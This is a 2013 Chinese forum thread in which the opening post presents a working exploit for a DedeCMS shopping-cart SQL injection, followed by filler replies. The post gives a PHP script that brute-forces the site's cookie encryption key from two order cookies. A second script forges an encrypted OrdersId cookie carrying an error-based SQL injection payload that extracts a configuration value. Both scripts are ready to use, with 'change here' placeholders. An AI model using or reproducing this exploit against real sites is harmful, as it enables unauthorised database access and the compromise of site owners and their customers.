查看: 1978|回复: 25

织梦CMS漏洞dedecms漏洞 2013-02-10 SQL注入漏洞

[复制链接]
发表于 2013-2-16 10:38:52 | 显示全部楼层 |阅读模式
www.xxx.com/plus/search.php?keyword=
在 include/shopcar.class.php中
先看一下这个shopcar类是如何生成cookie的
239      function saveCookie($key,$value)
240      {
241          if(is_array($value))
242          {
243              $value = $this->enCrypt($this->enCode($value));
244          }
245          else
246          {
247              $value = $this->enCrypt($value);
248          }
249          setcookie($key,$value,time()+36000,’/');
250      }
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
186      function enCrypt($txt)
187      {
188          srand((double)microtime() * 1000000);
189          $encrypt_key = md5(rand(0, 32000));
190          $ctr = 0;
191          $tmp = ”;
192          for($i = 0; $i < strlen($txt); $i++)
193          {
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
196          }
197          return base64_encode($this->setKey($tmp));
198      }
213      function setKey($txt)
214      {
215          global $cfg_cookie_encode;
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));


217          $ctr = 0;
218          $tmp = ”;
219          for($i = 0; $i < strlen($txt); $i++)
220          {
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
223          }
224          return $tmp;
225      }
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
具体代码如下:
<?php
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
function reStrCode($code,$string)
{
$code = base64_decode($code);
$key = “”;
for($i=0 ; $i<32 ; $i++)
{
$key .= $string[$i] ^ $code[$i];
}
return $key;
}
function getKeys($cookie,$plantxt)
{
$tmp = $cookie;
$results = array();
for($j=0 ; $j < 32000; $j++)
{


$txt = $plantxt;
$ctr = 0;
$tmp = ”;
$encrypt_key = md5($j);
for($i =0; $i < strlen($txt); $i ++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
$string = $tmp;
$code = $cookie;
$result = reStrCode($code,$string);
if(eregi(‘^[a-z0-9]+$’,$result))
{
echo $result.”\n”;
$results[] = $result;
}
}
return $results;
}
$results1 = getKeys($cookie1,$plantxt);
$results2 = getKeys($cookie2,$plantxt);
print “\n——————–real key————————–\n”;
foreach($results1 as $test1)
{
foreach($results2 as $test2)
{
if($test1 == $test2)
{
echo $test1.”\n”;
}
}
}
?>
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
然后推算出md5(strtolower($cfg_cookie_encode))
得到这个key之后,我们就可以构造任意购物车的cookie
接着看
20  class MemberShops
21  {
22      var $OrdersId;
23      var $productsId;
24
25      function __construct()
26      {
27          $this->OrdersId = $this->getCookie(“OrdersId”);
28          if(empty($this->OrdersId))
29          {
30              $this->OrdersId = $this->MakeOrders();
31          }
32      }
发现OrderId是从cookie里面获取的
然后
/plus/carbuyaction.php中的
29      $cart    = new MemberShops();
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
……
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
接着我们就可以注入了
通过利用下面代码生成cookie:
<?php
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
function setKey($txt)
{
global $encrypt_key;
$ctr = 0;
$tmp = ”;
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = ”;
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(setKey($tmp));
}
for($dest =0;$dest = enCrypt($txt);)
{
if(!strpos($dest,’+'))
{
break;
}
}
echo $dest.”\n”;
?>

发表于 2013-2-18 16:36:59 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2013-2-19 03:36:27 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2013-2-19 05:53:17 | 显示全部楼层
这年头,分不好赚啊  
发表于 2013-2-19 08:06:21 | 显示全部楼层
越办越好~~~~~~~~~`  
发表于 2013-2-19 23:01:16 | 显示全部楼层
好啊,,不错、、、、  
发表于 2013-2-21 12:58:48 | 显示全部楼层
帮顶  
发表于 2013-2-25 10:22:34 | 显示全部楼层
希望大家都有好运  
发表于 2013-2-25 13:53:08 | 显示全部楼层
一个人最大的破产是绝望,最大的资产是希望。  
发表于 2013-2-26 09:43:52 | 显示全部楼层
真是佩服得六体投地啊  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则